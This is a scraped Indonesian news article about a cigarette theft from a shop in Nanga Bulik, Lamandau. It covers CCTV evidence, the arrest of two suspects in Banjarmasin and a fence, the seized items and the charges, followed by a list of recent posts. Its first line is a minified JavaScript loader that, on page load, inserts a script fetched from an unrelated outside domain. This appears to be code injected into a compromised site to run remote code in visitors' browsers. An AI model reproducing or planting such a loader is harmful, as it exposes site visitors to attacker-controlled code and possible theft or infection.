(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

Curi Puluhan Slop Rokok di Nanga Bulik, Dua Pelaku Dibekuk di Banjarmasin


KANALKALIMANTAN.COM, NANGA BULIK – Personel Satreskrim Polres Lamandau berhasil mengungkap dan membekuk dua pencuri puluhan bal rokok berbagai merek dari sebuah toko kelontongan miliki warga di Jalan Jc Rangkap, Kelurahan Nanga Bulik, Kabupaten Lamandau, Kalimantan Tengah.

Kapolres Lamandau AKBP Bronto Budiyono SIK didampingi Kasatreskrim Iptu Faizal Firman Gani saat konferensi pers memgatakan, kedua tersangka tersebut berasal dari Kalimantan Barat, berinisial MS (43) dan AW (45), yang dibekuk di wilayah Kalimantan Selatan. Sementara pemilik toko atas nama Ana yang mengalami kerugian total mencapai Rp 66.910.000 karena kehilangan puluhan bal rokok. Rokok yang dicuri diantaranya Sampoerna Mild sebanyak 16 bal, Gudang Garam Surya 16 sebanyak 5 bal, dan rokok ON Bold sebanyak 6 bal.

Berdasarkan laporan yang diterima polisi pada Sabtu 11 Januari 2023 lalu, piket Polres Lamandau mendapat laporan resmi adanya pencurian di sebuah toko kelontongan di Kota Nanga Bulik. Lalu, bermodal dari hasil rekaman CCTV, terekam ciri-ciri kedua pelaku, mulai dari badan, wajah, pakaian pelaku.

Belakangan kedua pelaku kabur ke wilayah Banjarmasin, Kalsel, dan pada Jumat 24 Februari 2023, anggota Satreskrim Polres Lamandau dengan diback up anggota Jatanras Polda Kalteng, Intel Polda Kalteng, Jatanras Subdit III Polda Kalsel dan anggota Polsek Banjarmasin Utara melakukan pengejaran dan berhasil membekuk dua pelaku tersebut.

 

Baca juga: Jelang MTQ Nasional XXIX di Kalsel, Bandara Syamsudin Noor Mulai Kedatangan Kafilah

“Pengakuan kedua pelaku melakukan ini karena tidak memiliki pekerjaan dan penghasilan, terpaksa melakukan ini dengan cara mencuri,” ungkap Kapolres Lamandau.

Polisi kemudian melakukan pengembangan dan berhasil mengamankan TN (53) sebagai penadah rokok hasil curian, hasil pengakuan kedua tersangka yang ditangkap.

Barang bukti yang diamankan 1 buah linggis, 2 buah senter,

1 buah jaket warna creme, 1 buah jaket warna biru, 2 buah topi, 1 buah warna hitam merah, 1 buah tas pinggang, 1 buah ikat pinggang warna coklat, rokok Sampoerna sebanyak 3 slop, Rokok Surya 16 sebanyak 15 slop, Rokok On Bold sebanyak 20 slop.

“Pelaku dikenakan  pasal 363 Ayat (2) dan pasal 480 KUHPidana dengan ancaman maksimal 9 tahun penjara dan pelaku penadah dapat di kenakan pasal 480 ke 1 dengan ancaman hukuman maksimal 4 tahun penjara,” pungkasnya.(Kanalkalimantan.com/habibullah)

Reporter: habibullah
Editor: kk


Al Ghifari

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

16 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

21 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

21 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

2 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.